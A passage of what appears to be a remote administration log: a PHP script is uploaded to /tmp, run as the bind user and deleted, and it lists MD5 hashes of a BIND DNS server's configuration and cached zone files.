MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 11:24:50: Establishing a connection
2026-04-24 11:24:50: 

PUT: /tmp/pkp119230

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 11:24:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp119230; rm /tmp/pkp119230'

2026-04-24 11:24:50: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 11:25:09: Establishing a connection
2026-04-24 11:25:09: 

PUT: /tmp/pkp862653

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 11:25:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp862653; rm /tmp/pkp862653'

2026-04-24 11:25:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
